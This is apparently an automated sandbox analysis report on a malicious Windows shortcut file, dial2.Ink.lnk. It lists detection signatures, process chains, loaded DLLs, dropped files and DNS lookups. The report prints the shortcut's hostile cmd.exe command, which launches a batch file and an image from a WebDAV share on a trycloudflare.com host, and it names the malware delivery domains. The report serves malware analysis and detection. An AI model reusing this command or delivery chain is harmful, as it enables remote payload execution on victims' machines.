Windows Analysis Report
dial2.Ink.lnk

Overview

General Information

Sample name: dial2.Ink.lnk
Analysis ID: 1447085
MD5: e12f74c1f35c4f7d07f5615757729526
SHA1: 809096004d6255f491f6d477d94d72bd46b9e023
SHA256: d577c12707f3c3c4aed546e08525caf2e24c4cebc8ab1658c6d870c09177bcbf
Tags: lnk
Infos:

Detection

Score: 88
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Windows shortcut file (LNK) starts blacklisted processes
Found URL in windows shortcut file (LNK)
Machine Learning detection for sample
Opens network shares
Uses netsh to modify the Windows network and firewall settings
Binary contains a suspicious time stamp
Creates a process in suspended mode (likely to inject code)
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
May sleep (evasive loops) to hinder dynamic analysis
PE file does not import any functions
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Use Short Name Path in Command Line
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Classification

AV Detection
barindex
Multi AV Scanner detection for domain / URL
Source: boy-such-icon-positive.trycloudflare.com Virustotal: Detection: 5% Perma Link
Multi AV Scanner detection for submitted file
Source: dial2.Ink.lnk Virustotal: Detection: 9% Perma Link
Machine Learning detection for sample
Source: dial2.Ink.lnk Joe Sandbox ML: detected
Source: Binary string: NetworkDiagnosticSnapIn.pdb source: NetworkDiagnosticSnapIn.dll.13.dr

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2052731 ET TROJAN DNS Query to Malware Delivery Related Domain (boy-such-icon-positive .trycloudflare .com) 192.168.2.7:50669 -> 1.1.1.1:53
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Source: unknown DNS traffic detected: query: boy-such-icon-positive.trycloudflare.com replaycode: Name error (3)
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: boy-such-icon-positive.trycloudflare.com
Source: msdt.exe, 0000000D.00000002.3680506745.00000198C6CBD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.
Source: msdt.exe, 0000000D.00000003.1361418548.00000198C6CDB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.co
Source: dial2.Ink.lnk String found in binary or memory: https://pizza-practices-representative-country.trycloudflare.com
Source: dial2.Ink.lnk String found in binary or memory: https://pizza-practices-representative-country.trycloudflare.com.Z2

System Summary
barindex
Found URL in windows shortcut file (LNK)
Source: Initial file Strings: https://pizza-practices-representative-country.trycloudflare.com.Z2SXT=
PE file does not import any functions
Source: DiagPackage.dll.13.dr Static PE information: No import functions for PE file found
Source: DiagPackage.dll.mui.13.dr Static PE information: No import functions for PE file found
Source: classification engine Classification label: mal88.rans.spyw.evad.winLNK@7/16@1/0
Source: C:\Windows\System32\cmd.exe File created: C:\Users\user~1\AppData\Local\Temp\NDF1936.tmp Jump to behavior
Source: unknown Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start "" /min \\boy-such-icon-positive.trycloudflare.com@SSL\DavWWWRoot\file.bat & start \\boy-such-icon-positive.trycloudflare.com@SSL\DavWWWRoot\1.jpg
Source: C:\Windows\System32\cmd.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\cmd.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile NetworkDiagnosticsSharing C:\Users\user~1\AppData\Local\Temp\NDF1936.tmp
Source: dial2.Ink.lnk Virustotal: Detection: 9%
Source: unknown Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start "" /min \\boy-such-icon-positive.trycloudflare.com@SSL\DavWWWRoot\file.bat & start \\boy-such-icon-positive.trycloudflare.com@SSL\DavWWWRoot\1.jpg
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile NetworkDiagnosticsSharing C:\Users\user~1\AppData\Local\Temp\NDF1936.tmp
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\msdt.exe -skip TRUE -path "C:\Windows\diagnostics\system\networking" -af "C:\Users\user~1\AppData\Local\Temp\NDF1936.tmp" -ep "NetworkDiagnosticsSharing"
Source: unknown Process created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" trace diagnose Scenario=NetworkSnapshot Mode=NetTroubleshooter
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile NetworkDiagnosticsSharing C:\Users\user~1\AppData\Local\Temp\NDF1936.tmp Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\msdt.exe -skip TRUE -path "C:\Windows\diagnostics\system\networking" -af "C:\Users\user~1\AppData\Local\Temp\NDF1936.tmp" -ep "NetworkDiagnosticsSharing" Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: networkexplorer.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: drprov.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: ntlanman.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: davclnt.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: davhlpr.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: ndfapi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wdi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: duser.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: ndfapi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: wdi.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: ifmon.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: mprapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rasmontr.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: mfc42u.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: authfwcfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: fwpolicyiomgr.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcmonitor.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: dot3cfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: dot3api.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: onex.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: eappcfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: eappprxy.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: fwcfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: hnetmon.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: netshell.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: netsetupapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: netiohlp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nettrace.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nshhttp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: httpapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nshipsec.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: activeds.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: polstore.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: winipsec.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nshwfp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: p2pnetsh.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: p2p.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rpcnsh.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wcnnetsh.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wlanapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: whhelper.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wlancfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wshelper.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wwancfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wwapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wcmapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: mobilenetworking.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: peerdistsh.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: ktmw32.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: mprmsg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nettraceex.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: ndfapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: tdh.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wdi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\msdt.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{88d96a05-f192-11d4-a65f-0040963251e5}\InProcServer32 Jump to behavior
Source: dial2.Ink.lnk LNK file: ..\..\..\..\Windows\System32\cmd.exe
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe File opened: C:\Windows\system32\MSFTEDIT.DLL Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: Binary string: NetworkDiagnosticSnapIn.pdb source: NetworkDiagnosticSnapIn.dll.13.dr
Binary contains a suspicious time stamp
Source: DiagPackage.dll.13.dr Static PE information: 0xB6DD46AC [Mon Mar 21 17:41:00 2067 UTC]

Persistence and Installation Behavior
barindex
Windows shortcut file (LNK) starts blacklisted processes
Source: LNK file Process created: C:\Windows\System32\cmd.exe
Drops PE files
Source: C:\Windows\System32\msdt.exe File created: C:\Windows\Temp\SDIAG_46a43649-8c6f-48fb-bd76-6a23fa82897f\NetworkDiagnosticSnapIn.dll Jump to dropped file
Source: C:\Windows\System32\msdt.exe File created: C:\Windows\Temp\SDIAG_46a43649-8c6f-48fb-bd76-6a23fa82897f\DiagPackage.dll Jump to dropped file
Source: C:\Windows\System32\msdt.exe File created: C:\Windows\Temp\SDIAG_46a43649-8c6f-48fb-bd76-6a23fa82897f\en-GB\DiagPackage.dll.mui Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\System32\msdt.exe File created: C:\Windows\Temp\SDIAG_46a43649-8c6f-48fb-bd76-6a23fa82897f\NetworkDiagnosticSnapIn.dll Jump to dropped file
Source: C:\Windows\System32\msdt.exe File created: C:\Windows\Temp\SDIAG_46a43649-8c6f-48fb-bd76-6a23fa82897f\DiagPackage.dll Jump to dropped file
Source: C:\Windows\System32\msdt.exe File created: C:\Windows\Temp\SDIAG_46a43649-8c6f-48fb-bd76-6a23fa82897f\en-GB\DiagPackage.dll.mui Jump to dropped file
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\netsh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\msdt.exe Window / User API: threadDelayed 995 Jump to behavior
Source: C:\Windows\System32\msdt.exe Window / User API: threadDelayed 4096 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\System32\msdt.exe Dropped PE file which has not been started: C:\Windows\Temp\SDIAG_46a43649-8c6f-48fb-bd76-6a23fa82897f\NetworkDiagnosticSnapIn.dll Jump to dropped file
Source: C:\Windows\System32\msdt.exe Dropped PE file which has not been started: C:\Windows\Temp\SDIAG_46a43649-8c6f-48fb-bd76-6a23fa82897f\DiagPackage.dll Jump to dropped file
Source: C:\Windows\System32\msdt.exe Dropped PE file which has not been started: C:\Windows\Temp\SDIAG_46a43649-8c6f-48fb-bd76-6a23fa82897f\en-GB\DiagPackage.dll.mui Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\cmd.exe TID: 6580 Thread sleep time: -30000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: netsh.exe, 00000011.00000003.1469028568.0000029DB9D35000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 00000011.00000003.1469259123.0000029DB9D38000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile NetworkDiagnosticsSharing C:\Users\user~1\AppData\Local\Temp\NDF1936.tmp Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\msdt.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0316~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\netsh.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\msdt.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Uses netsh to modify the Windows network and firewall settings
Source: unknown Process created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" trace diagnose Scenario=NetworkSnapshot Mode=NetTroubleshooter

Stealing of Sensitive Information
barindex
Opens network shares
Source: C:\Windows\System32\cmd.exe File opened: \\boy-such-icon-positive.trycloudflare.com@SSL\DavWWWRoot Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: \\boy-such-icon-positive.trycloudflare.com@SSL\DavWWWRoot Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: \\boy-such-icon-positive.trycloudflare.com@SSL\DavWWWRoot\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: \\boy-such-icon-positive.trycloudflare.com@SSL\DavWWWRoot\ Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1447085 Sample: dial2.Ink.lnk Startdate: 24/05/2024 Architecture: WINDOWS Score: 88 26 boy-such-icon-positive.trycloudflare.com 2->26 28 Snort IDS alert for network traffic 2->28 30 Multi AV Scanner detection for domain / URL 2->30 32 Windows shortcut file (LNK) starts blacklisted processes 2->32 34 4 other signatures 2->34 8 cmd.exe 1 3 2->8         started        11 netsh.exe 2 2->11         started        signatures3 process4 signatures5 36 Opens network shares 8->36 13 rundll32.exe 8->13         started        15 conhost.exe 1 8->15         started        process6 process7 17 msdt.exe 27 13->17         started        file8 20 C:\Windows\Temp\...\DiagPackage.dll.mui, PE32 17->20 dropped 22 C:\Windows\...22etworkDiagnosticSnapIn.dll, PE32 17->22 dropped 24 C:\Windows\Temp\...\DiagPackage.dll, PE32+ 17->24 dropped
⊘No contacted IP infos

Contacted Domains

Name IP Active
boy-such-icon-positive.trycloudflare.com unknown unknown